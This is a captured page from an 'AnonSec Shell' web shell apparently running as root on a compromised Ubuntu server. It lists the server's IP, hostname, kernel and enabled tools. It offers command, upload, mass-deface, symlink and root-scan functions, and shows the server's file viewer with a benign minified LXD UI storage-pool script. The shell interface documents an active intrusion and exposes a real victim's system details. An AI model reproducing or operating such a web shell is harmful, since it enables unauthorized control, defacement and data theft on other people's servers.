AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/31333/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/lxd/31333/share/lxd-ui/assets/CreateStoragePool-e2d089cb.js
import{e as b,d as a,i as j,m as x,r as C,j as e,B as v,b as y,M as P,O as q,q as N}from"./index-13b2882d.js";import{S as z}from"./updateMaxHeight-325b3cd4.js";import{c as $,a as k,u as B}from"./index.esm-82c30f37.js";import{u as D,t as F,S as M,z as R,b as V}from"./useClusterMembers-dbf45674.js";import"./DiskSizeSelector-dd5e138a.js";import"./AutoExpandingTextArea-3a779a81.js";import"./FormMenuItem-c8a1a121.js";import"./StorageVolumeFormMenu-e90b9f5c.js";import"./settings-c23f9009.js";const I=()=>{const i=b(),o=a.useNotify(),u=j(),{project:t}=x(),m=C.useState(null),{data:n=[]}=D();if(!t)return e.jsx(e.Fragment,{children:"Missing project"});const d=$().shape({name:k().test(...F(t,m)).required("This field is required")}),s=B({initialValues:{isCreating:!0,isReadOnly:!1,name:"",description:"",driver:R,source:"",size:""},validationSchema:d,onSubmit:({name:p,description:g,driver:c,source:f,size:l})=>{const S=l.match(/^\d/),r={name:p,description:g,driver:c,source:c!==V?f:void 0,config:{size:S?l:void 0}};(n.length>0?()=>P(r,t,n):()=>q(r,t))().then(()=>{u.invalidateQueries({queryKey:[N.storage]}),i(`/ui/project/${t}/storage`,o.queue(o.success(`Storage pool ${r.name} created.`)))}).catch(h=>{s.setSubmitting(!1),o.failure("Storage pool creation failed",h)})}});return e.jsxs(v,{title:"Create a storage pool",contentClassName:"create-storage-pool",children:[e.jsx(y,{}),e.jsx(M,{formik:s}),e.jsxs("div",{className:"p-bottom-controls",children:[e.jsx("hr",{}),e.jsx(a.Row,{className:"u-align--right",children:e.jsxs(a.Col,{size:12,children:[e.jsx(a.Button,{appearance:"base",onClick:()=>i(`/ui/project/${t}/storage`),children:"Cancel"}),e.jsx(z,{isSubmitting:s.isSubmitting,isDisabled:!s.isValid||!s.values.name,buttonLabel:"Create",onClick:()=>void s.submitForm()})]})})]})]})};export{I as default};

Anon7 - 2022
AnonSec Team